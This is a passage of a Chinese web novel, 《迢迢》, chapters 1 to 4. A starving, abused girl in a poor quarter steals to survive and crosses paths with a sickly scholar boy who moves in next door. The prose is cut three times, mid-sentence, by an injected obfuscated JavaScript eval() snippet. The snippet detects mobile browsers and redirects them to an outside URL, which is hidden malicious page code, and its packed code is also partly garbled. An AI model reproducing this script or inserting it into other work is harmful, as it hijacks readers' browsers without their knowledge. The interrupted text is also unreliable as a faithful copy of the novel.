《迢迢》 1. 新邻 刚开春，城中忽然下了一场大雪，天地间如覆缟素，地面湿滑，进城的路上车马寥寥。 道旁的积雪有小三寸高，一场倒春寒，延长了冬日的难捱。 东门街毗邻北坊的巷子里种着一棵榆钱树，每日都有不少人围在树下打量，尤其是小孩子，爬上爬下，只等开春叶子一长出就立刻摘下。 雪融时天寒地冻，一群衣衫单薄，甚至打着赤膊的孩童守在榆钱树旁，他们个个面黄肌瘦，骨瘦如柴，睁着黑溜溜的眼睛，虎视眈眈地看着茂密的榆钱叶。 曲州城内有四坊，东门街是最繁华的地方，这条街上住着达官显贵，每日宝马香车，络绎不绝，而垣墙之后则是穷困潦倒的北坊，饥寒交迫，赤贫如洗，一堵墙，两个天地。 叶秋水蹲在角落，乌圆的眼睛紧紧盯着那棵树，榆钱刚发芽的时候她便日日在此处蹲守，它的叶子可以烙饼，也可以清炒，北坊是贫民区，这里的人向来过着食不果腹的日子，只要是没有毒的东西，都可以塞进嘴里，一棵无人看管的榆钱树，自然被许多人暗中觊觎。 大人们好面子，不会一窝蜂地聚在这里争夺，孩子们带着布兜或是竹筐，聚集在高大的榆钱树下，叶秋水天还没亮就过来了，她身手灵活，人又瘦小，像猴子似的顺着树干爬上去，盘腿坐在枝桠上，迅速摘下榆钱叶。 树下还有许多如她一般大的孩子，有的不敢爬树，只能蹲在地上捡落下的叶子，还有一些为了抢夺那些鲜嫩翠绿的叶子，大打出手，孩子们为了果腹，谁也不肯服输，互相打得鼻青脸肿。 叶秋水小心翼翼地将她的竹筐装满，又往衣襟里塞了许多，她灵巧地从枝干上爬下，双脚还没站稳，就有几个孩子不怀好意地盯上她。 “交出来。” 一个瘦小如竹竿般的女孩，不用动手，两句话就会被吓得哇哇大哭。 但叶秋水不吃这一套，她抱紧箩筐，绕过他们。 男孩们瞪大眼睛，不敢置信，迅速包围过来，伸手就要抢。 叶秋水将装满榆钱的框子放在一旁，她脸上没什么表情，他们一冲上来，就被叶秋水一把揪住头发，两个人顿时疼得哇哇叫唤，胡乱地抬脚踢踹，叶秋水腰上挨了一脚，不仅没有往后躲，反而闷着头直冲上前，将其中一人狠狠撞倒，不待对方站起，立刻翻身骑了上去，抓住对方衣领，扬起手“啪啪”扇了他两个巴掌。 她打娘胎里爬出来就会和人打架了，掐手臂，扇巴掌，抓头发，循序渐进，市侩又不文雅，但十分管用，不等对方反应过来，一张脸上早已多了四五个抓痕，叶秋水还不依不饶，她向来先发制人，打人就要打到底，挠花了人家的脸不够，又抓下来三四把头发。 为首的男孩本来比她高许多，如今被打得眼泪汪汪，另外两个小跟班目瞪口呆，根本不敢上前，其他的孩子也怕被打，不会趁她不便去偷她放在旁边的竹筐。 叶秋水打完人，撑着手站起来，拎起竹筐大摇大摆地走了。 北坊穷人太多，叶家是众多之一，甚至是最穷的一个，叶大游手好闲，脾气暴躁，妻子早逝，只留下一个女儿，因为出生的那一年恰逢秋汛，洪水泛滥，叶家被冲垮了一道泥墙，叶大觉得这个女儿晦气不已，所以随便捏了一个名字给她。 水，可有可无，泼出去便收不回来，甚至有时还会带来灾祸。 叶大懒倦，整日酗酒，官府救济给他糊口的鸡鸭鹅都被他宰杀了吃，他没有一技之长，喝了酒便发疯打人，没酒了便撺掇女儿到街上偷钱。 叶秋水没有别的去处，忤逆叶大，她会被赶出去，那样就没有地方住，冬日寒冷，她会死得很快。 从小被叶大打惯了，有时候偷钱失手也会被打，所以哪怕她只有六岁，已经活像个市井泼妇，打架经验丰富，跑得快，下手也狠。 她从外面回来，抱着满满一竹筐的榆钱叶，叶大在隔壁屋中呼呼大睡，鼾声不断，她连看都没有看一眼，将榆钱洗净，踩在凳子上，在灶台前烙饼。 叶秋水虽然已经六岁，但实际个头只有四五岁的孩子那般矮小，她艰难地烙着饼，手上被烫红了好些地方，等做完榆钱饼，她自己吃了两个，又藏了三个，剩下的再给宿醉的叶大送去。 “爹爹，饼。” 叶大含糊地呓语，咂了咂嘴，翻身坐起来，他穿着单薄的棉衣，裹着毯子，脚边堆积了好几个酒坛。 比起他，叶秋水则更加寒酸，她的衣衫很短，缝补多次，十分破旧，根本无法防寒，她的手背与脸颊皆有几处皴裂。 叶大接过饼子，狼吞虎咽，吃完了又看向她，“还有没有？” “没有了。” 叶秋水摇头，“好多人抢榆钱叶，我争不过。” “没用的东西。” 叶大没好气地说。 “爹爹，家里没有面了。” 她小声道。 “哦。”叶大瞥了她一眼，“老子反正没钱。” 叶秋水眼睛动了动，“那爹爹从哪里买来的酒？” 她知道，叶大又把她好不容易攒起来藏在屋角的钱拿去买酒了，“爹爹，那是我攒来买面的钱，你不能用来买酒。” “你管老子？我还没问你个死丫头，竟然敢藏私房钱，你反了天了，你肯定还有钱，全部都拿出来，拿出来！” 叶大被她质问，有些恼羞成怒，抬手拧住她的胳膊。 叶秋水在屋子里东躲西藏，抱着头哭叫，“没有了，都拿去了，没有剩下了！” 他将家里翻了个底朝天，叶大一边找一边嘴里不停地骂，他满身酒气，一睡醒就要发脾气，钱没有找到，却发现了被叶秋水藏起来的榆钱饼，又大发雷霆，将饼子全部吃完后，催着叶秋水赶紧出去偷钱。 大门砰的一声合上，外头雪花簌簌，东风剐面，初春时天黑得很早，叶秋水扒着门哭喊求饶，但叶大翻了个身，填饱肚子，又靠着墙打起鼾。 她的声音融在雪里，听不清晰。 叶秋水蹲在墙角，哭累了，自己爬起来，到灶台前将烙饼剩下的碎渣吃掉。 她躲在草垛中取暖，哭累了就睡，睡着了就没那么饿了。 寒风呼啸着撞动门，叶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496451|170218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秋水迷迷糊糊的，听到一墙之隔外传来声音。 她睁开眼，抬头。 叶家在北坊的角落，与东门街由一道垣墙隔开，东门街是富人们居住的地方，平日里北坊的穷孩子若是往那里跑会被驱赶，垣墙旁有一处民居，叶秋水从前经常翻过墙去里面采桃子。 自从上一任主人秦公去其他地方赴任后，那里已经许多年未曾再住人。 然而今夜，墙的另一边却传来光亮与说话声，叶秋水饿得睡不着，顺着墙根爬上去，趴在墙头往里张望。 原来是这间宅子搬进来新主人，似乎前几日就曾听乡邻提起过，说东门街最后面空了许多年的宅子被一个江姓秀才盘下，这个秀才出身于经商大族，家中产业遍布各行，江秀才是江家少有的读书人，不过他还有个比他更博学多才的儿子。 江三郎年仅十二，去年与他父亲一起参加府衙的考试，怎知江秀才落榜，三郎高中榜首，他年纪尚轻，十二岁便进了县学，一时名声大噪。 江家本就家大业大，族中子弟并非只有科考一条路能走，江秀才见中举无望，便安心接管家中产业，由朝廷任派，来到曲州治下一处县衙任职。 今日是江秀才带着妻儿搬进这座宅院的日子，一墙之隔外灯火通明，说话声不断，一名衣着讲究，环玉佩带的中年男子率先跨过门槛，他举止十分儒雅端方，笑面盈盈，正指挥仆人将行李搬进屋中。 女眷们有说有笑，江秀才乔迁，族中有不少人跟着过来帮忙，众人围聚在一起，商量着要如何布置这处院落。 叶秋水看了许久，目光移向那棵桃树，这棵树不知是谁种下，枝繁叶茂，每年树上都会结满沉甸甸的果子，有小半片从垣墙那头探出，从前叶秋水经常爬上墙，偷偷摘桃子吃。 如今只是春天，桃子还没有结果，她肚子饿得咕咕叫，看着桃树，掰着手指头算还要多久它才能开花结果。 江家人笑语声不断，入目皆锦绣罗衣，叶秋水穿着单薄的短衫，脸颊通红，吸了吸鼻子，在瑟瑟寒风中窥视着这个与北坊截然不同的世界。 江家前辈是靠贩卖毛皮打下的家业，族中子弟大多经商，哪怕是一心只读圣贤书的江秀才也难掩一身圆滑世故，但人群中却有一少年始终一言不发，立在廊下，两袖盈风，肩身如剪如裁，笔挺似青竹，在一众江家人中格格不入，叶秋水不由好奇看去。 哪知对方察觉到视线，立刻回头，叶秋水倏地对上一道锐利冷淡的目光，墙头昏暗，叶秋水也没想到会有人突然看过来，顿时怔忪，忘了避开。 那是个小官人，穿着一身苍色的绣云纹圆领稠衫，肩上系着披风，头戴儒巾，腰环玉带，仔细看了看，叶秋水发现他的皮肤十分苍白，透着病态，看上去似乎身体不好，难怪穿得比别人厚重。 少年眉眼清秀，神色淡淡，江宅灯火通明，桃树枝叶斑斓错落，在他身上留下一片摇曳的清影。 他似乎察觉到有人在窥视，抬起头，微微皱了皱眉。 忽然，叶秋水听到他开口，声音不大，如泉水淙淙，问：“是谁在墙上？” 2. 盗窃 江家在江南也有几处产业，过去的几年，江秀才一直在姑苏做生意，江泠便也跟着父亲在姑苏生活了几年。后来江秀才落榜，被任派到曲州一处县衙做主簿，官职不大，但胜在清闲，且江家几代一直经商，好不容易出了个做官的，哪怕只是小官，族中上下也恭维不断。 江秀才又称江二爷，饱读诗书，为人儒雅，他们这一房在族中受人敬仰，因而产业兴盛，不愁吃穿。 江二爷品性高洁，威望素著，与妻子宋氏只有一个儿子，名泠，字嘉玉，在族中排行第三，三郎天资聪慧，自开蒙起便是十里八乡有名的神童，十一二岁写得一手好文章，州学里的老师争着要收他做学生。 因为江泠，二房在族中可以昂着头走，无论到何处都有人巴结，老太爷同老夫人难免也更加疼爱二房，其他兄弟则被二房狠狠压一头，族中长老又偏心，最好的产业都给了江秀才，兄弟间早已心生不满。 但偏偏江泠少年有成，二爷又在县衙领得官职，人人嫉妒，却又无可奈何。 小官人芝兰玉树，模样端正，读书又好，唯一的缺点，大概就是体弱多病，性格也孤僻。 宋氏怀着三郎时受野猫扑吓，意外早产，江泠未足月降生，因此体弱，从小吃药，一吹风就会病倒。 冬日严寒，江泠穿着厚重的衣袍，系着披风，他苍白的脸上血色淡淡，黑眸沉沉，环视新家。 江泠听腻了那些表里不一的恭贺，他从人群中走出，打量着这个新宅子，不知是哪一任主人栽下的桃树，枝干粗壮，新芽浓绿，他抬头观赏，却在墙边捕捉到一双眼睛。 圆润剔透如玉石，眼神狡黠而探究，安安静静地趴在墙头，窥视着树丛外的景象。 一面墙，隔开贫富，江泠起先以为墙头的人是贼，院中有不少女眷，他眉心一拧，原想叫人来立刻将其捉下，但仔细一瞧，那似乎只是个四五岁的孩子，身形矮小，面黄肌瘦。 他一出声，她便吓得立刻缩回去了。 江泠欲上前查看。 “三郎，你怎么在这里，外面冷，屋里燃了炭火，你身子弱，快进去吧。” 有仆人唤道。 江泠收回目光，他身体不好，若是在外面站久了冻着，跟着他的仆人会受罚。 他转身，走了两步后又突然问道：“墙那边可有人家？” “有的。” 仆人曾跟着二爷一起来看过宅子，事先将这附近都打听清楚了，“墙那边就是北坊，是混混流氓住的地方，穷苦人也多，不过北坊的人是不会来东门街的，三郎放心。” 这里的高门大户家家养有打手，也有饲养恶犬的，若是有不长眼的穷鬼跑到东门街撒泼，会被毫不留情地打杀出去，他们也怕得罪人，两地虽只有一墙之隔，却是天壤之别，一向互不往来。 江泠“嗯”了一声，没再问其他的，走去前厅。 深夜，墙那头的热闹渐渐寂静下来。 那般喧嚣，二爷乔迁，族里上下敲锣打鼓，一整日，有不少达官贵人争先前来拜访，墙的那一头，小桥流水，蔚然秀丽，像是宝玉堆砌而成的宫殿。 叶秋水窝在草垛，摸了摸干瘪的肚皮，闭着眼睛幻想自己现在就住在那个像皇宫一样富丽精致的宅院里，有吃不完的榆钱饼，羊肉包子，穿不完的绫罗绸缎。 末了，她又有些忧愁地想，隔壁搬来新邻居，等桃子成熟，可能就没这么好偷了。 倒春寒过去，气候开始复苏，街市上人来人往，杏花梨花也争先开放。 春日渐暖，各个书院陆续开始授课，每日清晨叶秋水都能听到一墙之隔外传来的读书声，音色清冷，语调顿挫，恰如玉珠落盘，泠泠峥峥。 读书声持续半个时辰，等彻底天亮后才停下，接着车轮滚动，那位小官人便坐车去书院上课了。 叶秋水这个时候也会出门，叶大还是整日喝酒，他心情好的时候，会从酒馆里将客人吃剩下的包子点心带给叶秋水，心情不好的时候，一连数日不愿出门做工，就会逼迫叶秋水去街上偷东西。 她一开始不熟练，后来扒手扒得十分灵活，盯上一个人，装作不经意间撞到对方，小孩子玩闹，磕碰到行人后一般不会有人过多计较。 现在省城里来来往往的学生多，年轻的学子大多心性善良，有时候不需要叶秋水去偷，她只要跟在一旁，呜呜咽咽地哭两声，对方就会将钱送过来了。 若是碰上没那么好糊弄的，叶秋水才会动手，今日她早早盯上一人，锦衣华服，看着便阔绰，叶秋水悄无声息地接近目标，对方察觉到有人靠近自己，横眉一怒，立刻吼道：“哪里来的小乞儿，脏死了，走开！” 叶秋水佯装惶恐，立刻躬身道歉：“对不起对不起，我这就走了！” 见她识相，对方没有继续追究，冷哼一声，转身便走。 叶秋水脸上仍是一副惊恐的神情，掀起眼皮瞧了瞧，待那人走远，她湿漉漉惊慌的眼眸立刻变得精明，脸上闪过几分得逞的颜色，攥紧掌心的荷包，吐了吐舌头，冲对方离开的方向做了个鬼脸。 她身手灵活，个子又小，偷了钱一溜烟便跑得没了影，待苦主反应过来时早已找不见人，叶秋水挨打得多了，除了最开始还不熟练，到后面再也没有失手过。 · 书院中，一群少年们结伴走进，江泠从马车上下来，手里还捧着一卷书，他又看了几眼后将书仔细收好，抱着昨日的功课走进讲舍。 “诶，不对。” 一名少年忽地从席间站起，双手在腰间摸了摸，一脸惊慌，“我的荷包呢，怎么不见了？” “怎么啦，仲言？” 有人问道。 “我的荷包不见了，我明明挂在这儿的。” “是不是落在家里了？” “不可能！我今早带来了，我路上还买了糖水呢！” “别急啊，我们帮你找找。” 大家都站起来，在桌子下四处翻找。 唤作仲言的少年急得团团转，寻了片刻后忽然神情一敛，怒道：“我知道了，定是那小乞儿，定是她！” 今早那小杂碎无缘无故靠近，一看就不是好人，他今日没见过别人，除了她没人有机会拿走他的东西！ 江泠坐在一旁，对不远处的吵闹充耳不闻，他低头翻阅书籍，一字字端正落下批注。 不久，落日将息，山长留下课业，学生们陆续离开。 江泠问了几句功课后也收拾东西准备离开，书院中已经空了，散学时，几个少年成群结队地涌出去，气势汹汹，江泠隐约想起，似乎听他们提到，要去找某个小贼算账。 · 叶秋水用荷包里的钱买了包子，避开其他饥肠辘辘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496452|170218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的孩子与在角落里徘徊的野狗，一个人坐在巷子里慢吞吞地吃。 她坐在大石头上，懒慢地晃着腿，一双月牙儿似的眼睛眯起，今日收获不少，那荷包里有好几两银子，一两银子是一千文，一文可以买一块饴糖，三文可以买一个素包子，五文便是羊肉包子。 叶秋水没学过算术，她不知道这些银子具体是多少，只知道可以买许多许多个，她数不清的羊肉包子。 她决定每天买一个，回去后将钱都藏在家门后的草堆里，不让叶大发现。 叶秋水沾沾自喜，已经开始畅享她可以拿这笔钱做些什么，然而下一刻，一道怒喝在巷口响起，“小贼！我总算找到你了！” 正在啃包子的叶秋水愣了一下，抬头。 那人已经冲到身前，来势汹汹，身旁还跟着几个与他一般大的少年，几人将巷子围得水泄不通，为首的正是今早被叶秋水摸了荷包的人，他横眉怒目，恶狠狠道：“把钱还给我！” 叶秋水脸色一变，登时扭头就跑。 “你还敢跑！东西还过来！” 少年一把揪住她的头发，叶秋水有些吃痛，踉跄了一步。 “哈，你手里拿的什么，羊肉包子？你这种穷酸小鬼哪来的钱买包子，定是偷的我的钱！” 他伸手一把打掉叶秋水手里才吃了两口的包子。 这包子面发得极好，白白胖胖，肉馅的汤油快要渗出来，叶秋水每次从摊子旁路过，都会眼巴巴地看许久，她还没来得及尝出味，这包子就被人打掉，滚落在地，沾满泥。 那可是五文钱！好好的包子，就这么被糟蹋了！ 任何食物对于从来没吃饱过饭的叶秋水来说都意义重大，她顿时发怒，她是个打架能手，一双利爪狠狠往少年脸上挠去。 “啊！” 少爷们平日养尊处优，何时见过这般撒泼打滚的架势，被她扑得一屁股坐在地上，精美的发髻被抓歪，秀气俊朗的脸上也多了几道狰狞的血印。 其他跟过来的人吓得惊慌失色，谁能想到这小小的女孩竟然力气这么大，众人反应过来后，立刻围上前，七手八脚地拉开她，但叶秋水像个发怒的野猫，虽然将她拉开，但几人已气喘吁吁，每一个脸上都挂了彩。 叫做仲言的少年一脸惊恐，坐在地上气得大哭，一边抽噎一边吼道：“报官，立刻报官，我要叫我爹将这个小泼妇抓起来！” 声音太大，以至于惊动了巷子外的人，江家的马车从这附近路过，长随侧目看了一眼，说道：“是孙郎他们。” 孙仲言是知州的儿子，性格乖戾霸道，在学堂里说一不二，狗腿众多。 坐在里面的江泠低头看书，并未放在心上，长随又道：“欸，好像还有五郎。” 江泠这才从书上掀起目光。 五郎江晖是四房的孩子，江四爷与孙家曾有生意上的往来，孙大人乃知州，是曲州最大的官，江四爷想要生意便通，少不了巴结官员，江晖与孙仲言同龄，去岁还一起打过马球，与他父亲一般，也唯孙家人马首是瞻。 今早一个不长眼的小贼偷了孙小官人的荷包，狗腿子们争着要替他出气。 江家从商，虽家大业大，但与官员走得太近并不是什么好事。 江泠顿了顿，放下书，“停车。” 长随勒紧缰绳，马车靠巷口停下。 3. 误会 叶秋水打架几乎没有输过，她不讲究招式，虽然只会抓，挠，再配合一副尖嘴獠牙，哪怕不能打赢，对方也往往吃不到好。 但这几个少年可不是榆钱树下那些和她一样瘦骨嶙峋的穷孩子，一日不一定能吃上一餐，出手没什么力气。 他们个个锦衣玉食，体型健壮，一开始被这市侩的打法吓懵了后很快反应过来，迅速上前将叶秋水狠狠压制。 孙仲言抹了一把脸上的汗，鼻子旁有两三道血印，他脸颊气得胀红，伸出手，鼻腔里喷出热气，“小贼！你反了天了，你知道我爹是谁吗？你偷我的钱，还敢打我？反了天了！” 他已气上心头，怒道：“打，狠狠打！” “仲言，我来帮你教训她！” 知州家的小郎君发话，江晖第一个冲上前，二话不说便扬起手。 叶秋水一头污发散在脸侧，衣裤上沾满泥，她实在太瘦小，在这群已经开始抽条生长的少年们中间显得极为可怜。 到底是孩子，不免吓得瑟缩。 “江晖！” 巷子外忽然有人厉喝。 几人神色顿住，江晖扬起的手僵在半空，闻声回头。 鲜少有人踏足的巷子此刻挤满了人，一名穿着雪色襕衫的少年快步走近，他神情严峻，气质清正，苍白的脸上有一双极为浓厉的眉眼，沉着脸时便更显严肃，“你在做什么？” 江晖认出喊自己的是谁，顿时愣住，“三哥……我、我。” 江泠睨了他一眼，走上前。 江家的孩子都差不多大，大郎已经定亲，二娘刚嫁人，江泠与江晖只差几个月，从小就被比较到大，但江泠太过突出，族中同辈皆被狠压一头。他与江二爷在姑苏的那几年，远在曲州的老夫人成日念叨着她的乖孙儿，江晖从小就听着父母的抱怨长大，心中不快，但偏偏每次碰到江泠，他都没来由的畏惧。 实在是这位兄长的气质非同一般，即便他一直病殃殃的，可正是因为体弱，肤色比旁人白，眼眸就显得更黑，看着分外阴郁严厉。 已经入夏，畏热的小官人们都卷起了衣袖，穿得单薄，但江泠仍旧衣着整齐，他身体不好，书院里的人都知道，秀才夫妇看他看得很严，江泠除了读书几乎哪里也不能去，和其他同窗并不熟。 他走进几步，目光锐利，似两柄薄刃，哪怕他现在只有十二三岁，脸颊稚气未脱，但已有一种超乎同龄人的沉稳。 书院里的人都有些怕他，怕被他传染上病气，也怕被抓来和他比较。 谁都讨厌“别人家的孩子”。 江泠绕过众人，在孙仲言面前停下，抬手行礼，礼数周到。 “孙郎君。” 他道，声音不卑不亢，“依照大梁律，诸斗殴伤人者，处杖刑，已杀者，处斩刑。” 孙仲言驳道：“这是个贼，偷了我的钱，我只是教训教训她。” “若有纠葛，理当交由衙门处理，私下斗殴无论缘由都是明令禁止，这是律法所定。况且你们这么多人打她一个，几下拳脚她便交代在这里了，倘若闹出人命，怕是不好收场吧，孙郎君。” 江泠语气平静，条理清晰。 他的瞳仁极黑，被他注视着便觉如芒在背。 孙仲言方才还在气头上，他是知州的儿子，曲州一霸，何时吃过亏，先前一心只想将那狂悖的小贼打杀了去，此刻听了江泠一番话，渐渐冷静下来。 江泠侧目看向被围在中间的瘦小身影，续道：“她既偷了你的钱，那你便叫她将东西原数奉还，你们方才已经动过手，她也受过教训了。” 孙仲言眯了眯眼，盯着他，父亲说过，江家虽然只是商户，地位普通，但这个江泠绝非池中之物，孙知州识人毒辣，告诉他，一定要拉拢江泠。 他沉思片刻，神情松弛几分，笑说：“三郎既然开口，我自然也不会再与这小贼计较。” 孙仲言突然改变主意，方才兴冲冲要上去替他打人的江晖不禁讪讪。 江泠上前几步，走到那身影前停下，目光垂下，说：“将荷包还来。” 一双锦靴在视野内站定，风拖着他的衣袖轻轻扫过叶秋水的双膝，她坐在地上，低着头哭得一脸泪水，听到声音后虚虚抬起眼。 从杂乱的发丝缝隙往外看，是一张秀气的脸，但他的唇线毫无起伏，脸色很白，目色刚硬，瞧着便很凶。 她认出那是一墙之隔外的新邻，是那夜看到的少年，不过他的模样看着很不好惹，虽然没有动手打人，但瞧着不比其他人和善，叶秋水以为他和他们是一伙儿的，她有些害怕，眼泪流得更凶，从腰间掏出那个荷包，一把掷过去，“给你们，都给你们！” 那副可怜巴巴，委屈至极的模样，倒好似她才是被打劫偷窃的苦主。 江泠接住砸过来的荷包，将它递给孙仲言，“可是这个？” 孙仲言掂了掂，拆开查看，里面东西没少多少，只那贼买羊肉包子花去了几文。 “正是。” 江泠颔首，“既然钱财没有损失，此事便到此为止？” 孙知州要拉拢这个未来的栋梁之材，孙仲言虽然瞧不惯江泠那副清冷孤高的模样，但也只能顺着父亲的意思，不与他交恶，于是笑了笑，说：“好啊。” 他将荷包重新挂在腰间，抬手与江泠行了个敷衍的礼，转身离开。 一群人也跟着走出巷子，只有江晖踌躇不行，犹豫道：“三、三哥……” 江泠这才看向他，“江家无权无势，若今日真的闹出什么，孙仲言尚有退路，你有吗？你不该莽撞动手。” 江晖白着脸，“我、我……” “回去。” 江泠不等他解释便打断，江晖脸色霎时又白又红，脚下如生锈，僵了片刻后才跑开。 先前拥挤的巷子一下子变得空旷，江泠回头，与那孩子对上视线。 她太瘦弱，辨不出具体年龄，至多不过五六岁，甚至也看不出性别，江泠来曲州后听说，东门街后有一大片贫民区，房屋矮小，层次不齐，他听闻，那里时常有人悄无声息地死去，第二日发现时，已经被同样饥肠辘辘的野狗咬掉半个身子。 这几年，南方经常大旱，就是京城也曾闹过两次雪灾，民生艰难，贫苦人家的日子很不好过。 连温饱问题都没法解决，更何谈讲究道义廉耻？ 叶秋水哭累了，吸了吸鼻子，一抬头就发现那少年正看着自己。 他突然走近，停在叶秋水面前，说：“凡偷窃者，依律缴赃物，砍去右手，流三千里。念你年幼从宽，只行规劝，若是再有下次，被人抓住后你定然逃不了牢狱之灾，明白吗？” 江泠过去一直随父亲在姑苏做生意，他又多病，不宜奔走，近来才搬到曲州，开口说话时难免带着几分吴语腔调，与曲州官话完全不同，叶秋水自小在穷人堆里摸爬滚打，听多了市侩言语，只能听懂江泠一半话，什么“砍手”，“流放”，“牢狱”，总之都不是好词。 再抬头瞧了瞧那人冷漠的神情，叶秋水笃定，他定然是在恐吓警告她。 例如，“再偷钱，就砍了你的手！” 她打了个寒颤，将头埋进膝盖里，缩成一团。 好多好多个五文从眼前飞走，叶秋水心里都在滴血，她哭并不是因为羞愧或是害怕，只是懊恼，哭那还没捂热的几两银子，哭她还没咬几口的包子。 江泠见她不答，只将脸埋进膝间，不一会儿听到那瘦小的一团发出低低的呜咽，江泠抿了抿唇，沉默。 半晌，他轻声问：“你身上可有哪处疼？我让人带你去医馆瞧瞧。” 见那一团还是不回答，江泠试探着伸出手，想要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496453|170218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拨开她散乱的头发，方才在巷子外，远远看到孙仲言似乎踹了她一脚，那力道不轻，大概会青一大片。 叶秋水很警惕，一边哭一边观察，少年定然不怀好意，那些人都走了，偏他留下，指不定心里正盘算着什么坏主意，要砍掉她的手脚，把她关到牢里去。 正想着，他又开口说了些什么，叶秋水听不懂，没有理会，接着他便倾身上前，朝她伸出手，叶秋水心里警铃大作，待他即将挨到她时，立刻跳起，一口咬在那只白皙修长的手上。 江泠眉心一皱，被咬得猝不及防，险些呼痛出声，一旁的长随吓了一跳，连忙跑过来，“泠哥儿！” 叶秋水松开牙，趁那主仆无措之际，一瞬跑得没影了。 江泠一个刚从姑苏过来的外乡人，怎么比得过叶秋水对曲州的熟悉，他捂着被咬伤的手，再抬头时，对方早就不见了。 长随不禁怒道：“这小贼，真是恩将仇报！方才就不应该救她，由着被打死算了！” 自家郎君体弱，若是被那小贼咬出个好歹来，定要扒了她的皮！ * 叶秋水一口气跑回了家，将门闩卡上，靠着墙，气喘吁吁。 叶大出去了，院子里空无一人，她先是挨了几下打，受了惊吓，又一口气跑了这么远，一停下来便觉得饥饿难忍。 好好的羊肉包子，掉在地上，被人踩得稀巴烂，才吃了两口就这么被糟踏了， 叶秋水心里愤愤不平，气得牙痒痒，又无可奈何，嘴里还残留着白面细软香甜的味道，她不禁咂了咂嘴回味，走进厨房，将每个角落都翻了翻，没有找到一点可以果腹的东西。 叶大懒散，家里的田地早就荒废了，叶家没有过冬的储粮，最难捱寒冷的时候，叶秋水几乎两天才能吃上一顿饭，今早她喝了一碗稀得像水一样的粥，白天只来得及吃了两口包子，接着又被打又逃跑，她已经饿得完全没有力气，缩在角落里缓了许久。 叶秋水窝在草垛里又睡了一觉，等睁开眼时天色已经完全昏暗，叶大还是没有回来，睡醒了后饥饿似乎缓解了几分，但白日被踹了一脚的地方却火辣辣地疼，叶秋水撩起衣服低头看了看，腹部已经青了一大块。 一墙之隔外点上灯，光辉映照在桃树上，在叶家的地面上也投下斑驳的影子。 油灯耗钱，叶家入了夜从来不点灯，往常倒也没觉得有什么，如今墙那边空落多年的宅院搬来新的主人，每夜灯火通明，明亮如昼，那光泄出一点儿，便照得叶家黑漆漆的院落明堂不已。 叶秋水抬起头，盯着那桃树，过了两个月，花儿谢败，桃子长大不少，但是颜色仍旧发青，还没有到成熟的时候。 她饿极了，顾不得桃子还没熟，顺着墙根攀上去，坐在墙头，摘下一颗，草草擦了两下便咬。 入口发涩，舌根都没了知觉，叶秋水一边龇牙咧嘴，一边啃了好几个桃子。 江宅院内，一处厢房点着灯，窗纸上映着少年清瘦的身影，他的左手被仆从仔细上了药，江泠没有告诉长辈自己被一个乞儿咬伤，不然他们又会大动干戈。 叶秋水吃了三颗桃子，舌根被涩得有些发麻，她坐直身子想要下去，怎知脚下一滑，险些从墙头坠落，一旁吃完的桃核也骨碌滚了下去，掉进了江家宅院内。 紧闭的窗户倏然打开，一名少年从里探出，已是深夜，他的穿着仍旧端正，盘扣一丝不苟地系着，举着烛台，警惕地往外查探。 叶秋水眼疾手快，连忙伏低身子，趴在墙头。 许久，那里都没有再传来动静，窗户又重新关上。 叶秋水松了口气，顺着墙，小心翼翼地滑下。 江泠从屋中走出，一直到桃树前才停下，暮春的夜风平浪静，那桃树的枝叶却在微微摇晃，地上落下几片叶子，墙内还有两颗被啃干净的桃核。 4. 偷桃 江泠住的地方在宅院最深处，清静，无人往来，偶尔有两只胆大的狸猫攀着桃树走过，江泠喜欢坐在窗前看书，抬头可以看到高高的垣墙上有猫儿跳来跳去，他会偷偷将自己没吃完的零嘴放在墙下，坐在窗前看猫从墙上跳下。 他性子冷，身体又不好，不管是在曲州还是姑苏都没有朋友，长辈更多关心的是他的功课，像江晖那样出门打马球踢蹴鞠是绝不可能的，那些都是不学无术。 所以江泠只敢偷偷喂养墙上的猫，有时候存放在屋里的零嘴不够，江泠会在家中人一起吃饭时，偷偷顺走桌上的两枚点心。 江秀才直觉敏锐，十二岁的少年还不善于隐藏自己的情绪，即便他再少年老成，脸上那种迫切欣喜的神情还是让人一眼就可以窥视到。 一日傍晚，江二爷突然过来检查江泠的功课，他刚将袖子里的点心拿出来喂养跳到墙下的狸猫，脸上是难得一见的浅淡笑容，江二爷忽然推开院门进来，狸猫正围在江泠的脚边打转。 “三郎。” 江二爷唤他。 江泠嘴角的弧度僵了僵，站起身，行礼，“爹。” 江二爷笑了笑，走近，目光满是慈爱，笑着看了看他脚边钻来钻去的奶猫，说：“哪里来的猫儿，倒是可怜可爱。” 